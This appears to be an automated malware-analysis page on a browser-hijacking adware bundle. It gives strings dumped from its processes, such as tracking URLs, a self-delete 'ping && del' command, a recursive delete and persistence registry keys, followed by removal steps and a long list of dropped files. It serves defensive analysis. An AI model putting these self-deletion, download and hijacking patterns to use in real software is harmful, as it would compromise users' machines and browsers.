? ?$?(?,?0?4?~?

5#505:5`5

=#='= =/=3=

;!;0;7;^;

<!<%<)<-<1<5<$=0=

9-92989?9

5 5$5(5,505

5 5$5(5,5054585

7$<(<,<0<4<8<<<@<

< <(<4<<<

3 3$3(3,30383<3

combase.dll

:kernel32.dll

mscoree.dll

- CRT not initialized

- Attempt to initialize the CRT more than once.

- floating point support not loaded

USER32.DLL

portuguese-brazilian

<advapi32.dll

\\.\PhysicalDrive%d

WindowsMangerProtect

SOFTWARE\supWindowsMangerProtect

xa.geoip

visit.heartbeat

hXXp://xa.xingcloud.com/v4/sof-windowspm/%s?action0=%s&action1=visit&action2=%s&update0=ref,%s&update1=nation,%s&update2=language,%s

hXXp://xa.xingcloud.com/v4/sof-windowspm/%s?action=%s

hXXp://xa.xingcloud.com/v4/sof-windowspm/%s?action=visit.heartbeat.%s

hXXp://xa.xingcloud.com/v4/sof-windowspm/%s?action=visit.heartbeat.%s&update3=version,%s

Report Start.

C:\DoStartTEST.DAT

Report Heart beat.

ProtectWindowsManager.exe

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

TypesSupported

%s is already installed

%s installed

%s failed to install. Error %d

%s is not installed

Could not remove %s. Error %d

WindowsProtectManger

8Advapi32.dll

/c ping 127.0.0.1 -n 2 > nul && del

"%s" %s

psapi.dll

Explorer.exe

update.exe

%s_%s

\\.\Phys

hXXp://

Software\Microsoft\Windows\CurrentVersion\Internet Settings

http=

..\Src\json\src\json_value.cpp

..\Src\json\src\json_reader.cpp

xxxx

WinHttpClient

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

hXXp://xa.xingcloud.com

..\Src\json\src\json_writer.cpp

Assertion failed: %s, file %s, line %d

WindowsMangerProtect Service

C:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe

WindowsMangerProtect service

SysTool PasSame LIMITED

Windows SysTool Service

20.0.0.1714

Windows SysTool.exe

ProtectService.exe_1404:

.text

`.rdata

@.data

.rsrc

@.reloc

GET %s%s%s HTTP/1.1

Host: %s

%sUser-Agent: Mozilla/4.0

POST %s HTTP/1.1

%sContent-Type: %s

User-Agent: Mozilla/4.0

Content-Length: %u

%*s %d %*s

%*[ ]%[^

?456789:;<=

!"#$%&'()* ,-./0123

file_url

E:\supsoft\SupSearchProtectV4\SearchProtect\Bin\Release\ProtectService.pdb

GetProcessHeap

GetSystemWindowsDirectoryW

KERNEL32.dll

USER32.dll

RegOpenKeyW

RegCloseKey

RegOpenKeyExW

RegCreateKeyExW

ADVAPI32.dll

SHELL32.dll

MSVCP110.dll

InternetCrackUrlW

WININET.dll

WS2_32.dll

SHLWAPI.dll

MSVCR110.dll

_crt_debugger_hook

__crtUnhandledException

__crtTerminateProcess

_calloc_crt

__crtGetShowWindowMode

_amsg_exit

_wcmdln

__crtSetUnhandledExceptionFilter

WinHttpCloseHandle

WinHttpOpen

WinHttpSetTimeouts

WinHttpCrackUrl

WinHttpConnect

WinHttpOpenRequest

WinHttpSetOption

WinHttpAddRequestHeaders

WinHttpSendRequest

WinHttpGetIEProxyConfigForCurrentUser

WinHttpGetProxyForUrl

WinHttpWriteData

WinHttpReceiveResponse

WinHttpQueryHeaders

WinHttpQueryDataAvailable

WinHttpReadData

WINHTTP.dll

SensApi.dll

VERSION.dll

PSAPI.DLL

USERENV.dll

.?AVCHttpClient@@

.?AVCTcpipSocket@@

<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />

2-2v2

hXXp://

Software\Microsoft\Windows\CurrentVersion\Internet Settings

http=

WinHttpClient

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

hXXp://xa.xingcloud.com

xxxx

%u_%u

%s_%s

%s_X

\\.\PhysicalDrive%d

UpDateProcess.exe

hXXp://VVV.theviilage.com/searchprotect/up?ptid=%s&sid=%s&ln=%s_%s&ver=%s&uid=%s&dp=%s

g{2EFFE99D-743D-44D0-BBF2-F9DDDEA2F92D}

Global\{5F26509F-29FE-4598-8800-FA22CE9CC17F}__Mutex

Report HeartBeat

cmdshell.exe

hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=visit.heartbeat.%s&update0=ref,%s&update1=nation,%s&update2=language,%s&update3=version,%s

hXXp://xa.xingcloud.com/v4/searchprotect/%s?action0=xa.geoip&action1=visit&action2=install

hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=uninstall

explorer.exe

Advapi32.dll

"%s" %s

psapi.dll

Explorer.exe

json_value.cpp

ljson_reader.cpp

ProtectSvc.exe

4.0.1.1716

HPNotify.exe_4160:

.text

`.rdata

@.data

.rsrc

@.reloc

<9%uo

wszUrl

strUrlTemp

hKEY

strSelUrl

strUrl

strConfUrlTemp

strDsUrl

strHpUrl

strCmdLine

tCPW

%UUUU

e_GetBrowserCurrentHpUrl

e_GetBrowserCurrentDsUrl

URLDownloadToFileW

URLDownloadToFileW ret:0XX

Error : %d

inflate 1.1.3 Copyright 1995-1998 Mark Adler

1.1.3

monochrome

unsupported bit depth

`'\%D,3

Run-Time Check Failure #%d - %s

%s%s%p%s%ld%s%d%s

%s%s%s%s

RegOpenKeyExW

RegCloseKey

del /s/q %1\*.*

%suninstall.bat

E:\supsoft\SupSearchProtectV4\SearchProtect\bin\Release\HPNotify.pdb

KERNEL32.dll

GetKeyState

USER32.dll

GDI32.dll

ADVAPI32.dll

ShellExecuteW

ShellExecuteA

ShellExecuteExW

SHELL32.dll

ole32.dll

OLEAUT32.dll

SHDeleteKeyW

SHLWAPI.dll

MSVCP110.dll

MSVCR110.dll

_calloc_crt

_CRT_RTC_INITW

__crtGetShowWindowMode

_amsg_exit

_wcmdln

_crt_debugger_hook

__crtUnhandledException

__crtTerminateProcess

__crtSetUnhandledExceptionFilter

GdiplusShutdown

gdiplus.dll

IMM32.dll

DeleteUrlCacheEntryW

WININET.dll

COMCTL32.dll

GetProcessHeap

#*1892 $

%,3:;4-&

.?AVCActiveXEnum@DuiLib@@

.?AVCWebBrowserUI@DuiLib@@

<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />

<assemblyIdentity type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*' />

3?3

1-2}2

77t7

9":,:6:@:

12u2

: :$:(:,:0:

4 4$4(4,404

>$?(?,?0?

2 2$2(2,20242

0 1@1\1|1

hXXp://VVV.bing.com/

hXXp://VVV.yahoo.com/

hXXp://VVV.google.com/

%sconf

web/?type=dspp&

web/?type=dspp

hXXp://VVV.v9.com/

Itemd

BrowserAction.dll

%u_%u

%s_%s

%s_X

\\.\PhysicalDrive%d

\\.\Scsi%d:

UrlEdit

conf.xml

hXXp://v9.com/license_agreement.html

hXXp://v9.com/privacy_policy.html

hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=set.show.%s

hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=set.other.%s

%stmp%d.tmp

urlmon.dll

main.xml

explorer.exe

Global\{5F26509F-29FE-4598-8800-FA22CE9CC17F}__Mutex

IeWatchDog.dll

BrowerWatchFF.dll

BrowerWatchCH.dll

Global\GUID(6D05BFEC-4307-4649-8963-962A24345DF4)

msimg32.dll

User32.dll

WM_KEYDOWN

WM_KEYUP

WM_SYSKEYDOWN

WM_SYSKEYUP

0xX

keyboard

msftedit.dll

password

%s%s%s

Correct password required

%s\%s

WebBrowser

transshadow

transshadow1

dest='%d,%d,%d,%d'

dest='%d,%d,%d,%d' source='%d,%d,%d,%d'

source='%d,%d,%d,%d' dest='%d,%d,%d,%d'

M-d-d

WebBrowserUI

errorUrl

{D27CDB6E-AE6D-11CF-96B8-444553540000}

user32.dll

MSPDB110.DLL

ADVAPI32.DLL

/c ping 127.0.0.1 -n 2 > nul && del /s/q

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

%Program Files% (x86)\XTab\skin\

SupHPNot.exe

4,0,1,1716

SupHPNty.exe

WebPlayer.exe_3960:

.text

`.rdata

@.data

.rsrc

@.reloc

8%u:j

RegOpenKeyTransactedW

RegCreateKeyTransactedW

RegDeleteKeyTransactedW

operator

GetProcessWindowStation

KERNEL32.dll

EnumWindows

USER32.dll

GDI32.dll

RegOpenKeyExW

RegCreateKeyExW

RegDeleteKeyW

RegCloseKey

RegEnumKeyExW

RegQueryInfoKeyW

ADVAPI32.dll

SHELL32.dll

ole32.dll

OLEAUT32.dll

SHLWAPI.dll

COMCTL32.dll

urlmon.dll

GetProcessHeap

GetCPInfo

.?AVIKeyValueStorage@@

.?AVCWebPlayerEventsCallback@@

.?AVCComWebPlayer@@

.?AV?$CComCoClass@VCComWebPlayer@@$1?GUID_NULL@@3U_GUID@@B@ATL@@

.?AV?$IDispatchDynamicImpl@VCComWebPlayer@@@@

.?AV?$CComObject@VCComWebPlayer@@@ATL@@

.?AVCWebPlayerView@@

.?AV?$CWindowImpl@VCWebPlayerView@@V?$CAxWindowT@VCWindow@ATL@@@ATL@@V?$CWinTraits@$0FGAAAAAA@$0A@@3@@ATL@@

.?AV?$CTrayIcon@VCWebPlayerView@@@@

.?AV?$IDispEventImpl@$00VCWebPlayerView@@$1?DIID_DWebBrowserEvents2@@3U_GUID@@B$1?LIBID_SHDocVw@@3U3@B$00$0A@VCComTypeInfoHolder@ATL@@@ATL@@

.?AV?$IDispEventSimpleImpl@$00VCWebPlayerView@@$1?DIID_DWebBrowserEvents2@@3U_GUID@@B@ATL@@

.?AV?$_IDispEventLocator@$00$1?DIID_DWebBrowserEvents2@@3U_GUID@@B@ATL@@

zcÁ

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="x86" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity>

2 3$3(3,3

getWebBrowser

hXXps://

hXXp://

Advapi32.dll

Software\WebPlayer\

javascript.debug

javascript.show_errors

SOFTWARE\Microsoft\Windows\CurrentVersion\Run

HKEY_CLASSES_ROOT

HKEY_CURRENT_USER

HKEY_LOCAL_MACHINE

HKEY_USERS

HKEY_PERFORMANCE_DATA

HKEY_DYN_DATA

HKEY_CURRENT_CONFIG

icons\main.ico

WebPlayerEngine

WebPlayer\

scripts\config.xml

window.placement

icons\tray.ico

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

mscoree.dll

KERNEL32.DLL

WUSER32.DLL

C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe

&About WebPlayer

WebPlayer

Replace%Select the entire document

Arrange Icons/Arrange windows so they overlap

Cascade Windows5Arrange windows as non-overlapping tiles

Tile Windows5Arrange windows as non-overlapping tiles

Tile Windows(Split the active window into panes

1.1.0.0

WebPlayer.exe

IEXPLORE.EXE_4552:

.text

`.data

.idata

.rsrc

@.reloc

u\j.Xf9

j.Xf9

USER32.dll

api-ms-win-downlevel-shell32-l1-1-0.dll

IEFRAME.dll

SHELL32.dll

iexplore.pdb

api-ms-win-downlevel-shlwapi-l1-1-0.dll

iertutil.dll

api-ms-win-downlevel-advapi32-l1-1-0.dll

KERNEL32.dll

msvcrt.dll

_wcmdln

_amsg_exit

RegOpenKeyExW

RegCloseKey

<!-- Note: This manifest needs to be kept in sync with iexplore.exe.manifest -->

<assemblyIdentity version="5.1.0.0"

name="Microsoft.InternetExplorer"

<windowsSettings>

<dpiAware xmlns="hXXp://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>

</windowsSettings>

<!--The ID below indicates application support for Windows 8 -->

<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>

KEYW

.ENNNG.

a.ry.v

l.igM4

?1%SGf

xh.JW^

.97777"7" " " !

3.... ))

8888888888888

8888888888

.lPV)

úW1

.ApX/

H.ZAf

ð[U

%s!FK

1YYYY1YY9GEAA=77YRNNNW:.VT1

888777777

Y.hilkRROMLK=C,

..(((($$

3...((((%

3....(.''$

3.2...((((%

33.2....(,'

55323222...

(%&'00443445?

00.,,,4(

000.,,9(

0020..9(

003200;(

(#'( (''''!'!

Microsoft.InternetExplorer.Default

Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe

{28fb17e0-d393-439d-9a21-9474a070473a}

imm32.dll

Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11cf-8B85-00AA005B4383}

Kernel32.dll

"%s" %s

kernel32.dll

IEXPLORE.EXE

{00000000-0000-0000-0000-000000000000}

\\?\Volume

Imaging_CreateWebPagePreview_Perftrack

Browseui_Tabs_Tearoff_BetweenWindows

Browseui_Tabs_Tearoff_BetweenWindows_TabProc

Frame_URLEntered

Imaging_CreateWebPagePreview

WS_ExecuteQuery

Shdocvw_BaseBrowser_FireEvent_WindowStateChanged

IdleTask_Execution_Time

Shdocvw_BaseBrowser_FireEvent_BeforeScriptExecute

IMTravelLogMVC_TravelURL

10.00.9200.16521 (win8_gdr_soc_ie.130216-2100)

Windows

10.00.9200.16521

IEXPLORE.EXE_4552_rwx_01206000_00001000:

api-ms-win-downlevel-shlwapi-l1-1-0.dll

iertutil.dll

api-ms-win-downlevel-advapi32-l1-1-0.dll

KERNEL32.dll

msvcrt.dll

_wcmdln

_amsg_exit

RegOpenKeyExW

RegCloseKey

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Scan a system with an anti-rootkit tool.
Terminate malicious process(es) (How to End a Process With the Task Manager):

ProtectService.exe:3084
ProtectService.exe:1404
BaofengUpdate.exe:3172
BaofengUpdate.exe:872
YTAHelper.exe:3128
ProtectWindowsManager.exe:3984
ProtectWindowsManager.exe:816
YouTubeAcceleratorService.exe:1680
YouTubeAcceleratorService.exe:1564
YouTubeAcceleratorService.exe:3980
ins_postInst.exe:3104
Lexdja.exe:1140
%original file name%.exe:2788
FLVPlayerSetup.exe:2388
TPAutoConnSvc.exe:1776
GLB4DD1.tmp:1812
biclient.exe:2344
biclient.exe:3340
biclient.exe:1728
GLJ4E3F.tmp:3496
wpm_v20.0.0.1714_0204.exe:3864
3EB4.tmp:880
ins_yta.exe:3284
appshat_generic.exe:504
testlsp.exe:3364
0e548b74-528b-4597-b8f2-4bc5002d68ce-4.exe:4736
powershell.exe:2568
powershell.exe:2620
powershell.exe:316
setup.exe:3500
setup.exe:2528
HPNotify.exe:4160
STab_Down_6.0.6.8.exe:200
cmdshell.exe:2052
jsdrv.exe:1724
ShopperPro.exe:2152
appshat.exe:4008
ins_shopperpro.exe:3056
regsvr32.exe:3884
regsvr32.exe:2612
regsvr32.exe:612
regsvr32.exe:2172
regsvr32.exe:3988
regsvr32.exe:816
lspinst.exe:2780
lspinst.exe:2480
webplayer_installer.exe:4132
webplayer_installer.exe:3796
YTAHEL~1.EXE:3436
DCytaiesmt_smtyc_setup.exe:1652
cscript.exe:3884
cscript.exe:2104
spbiu.exe:2896
spbiu.exe:2612
XTab_v4.0.exe:888
taskeng.exe:556
ytaiesmt_smtyc_setup.exe:336
Delete the original Application file.
Delete or disinfect the following files created/modified by the Application:

C:\ProgramData\IHProtectUpDate\update\conf (5 bytes)
%Program Files% (x86)\XTab\CmdShell.exe (49 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\content\include\tools\misc.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\prefs.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\locale\ru\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\content\js\module\stat.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\content\js\pack\common.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code1.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\locale\fr-CH\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome.manifest (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\content\js\js.js (660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\locale\en-US\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\skin\style.css (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\skin\google_trends.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\content\js\lib\jquery.autocomplete.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\skin\logo.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\A727.tmp (110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checkbox_select.png (783 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\locale\pl\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\content\include\speed_dial.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\422.json (520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\button.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\locale\it\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\modules\addonmanager.js (531 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\content\js\module\hotSearch.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\defaults\preferences\preferences.js (379 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\Thumbs.db (27 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\modules\restoreprefs.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\content\js\pack\xagainit.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bg.png (673 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\locale\fr-BE\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\locale\fr-LU\locale.properties (2 bytes)
C:\Users\Public\Desktop\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\locale\es\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\BFVUpdateM.dll (110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\skin\icon.png (628 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\locale\it-CH\locale.properties (1 bytes)
%Program Files% (x86)\Mozilla Firefox\browser\searchplugins\mystartsearch.xml (565 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\skin\googlelogo.png (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\scrollbar.bmp (37 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\locale\zh-CN\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bk_shadow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\content\js\lib\doT.min.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\A766.tmp (110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\Web Data (1518 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\content\js\module\search.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\locale\fr-CA\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\modules\remoterequest.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\locale\vi\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\skin\newtab.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\content\quick_start.xul (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\Thumbs.db (42 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (480 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\content\quick_start.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\content\index.html (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Internet Explorer (No Add-ons).lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\Web Data-journal (6322 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\content\js\module\mostgrid.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\modules\last_tab.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\locale\en\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\locale\tr\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\locale\pt-BR\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\min.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\skin\simple.css (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code4.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\uninstallDlg2.xml (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\content\include\tools\popup_image_helper.js (693 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code6.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\locale\zh-TW\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\UninstallManager.exe (13122 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\MessageBox.xml (3 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\modules\aes.js (784 bytes)
C:\Users\Public\Desktop\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\content\js\pack\ga.js (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\skin\default_logo.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\install.rdf (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\locale\fr\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\skin\loading.gif (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\content\include\tools\about_blank_hook.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\locale\es-419\locale.properties (2 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\modules\settings.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\modules\properties.js (1 bytes)
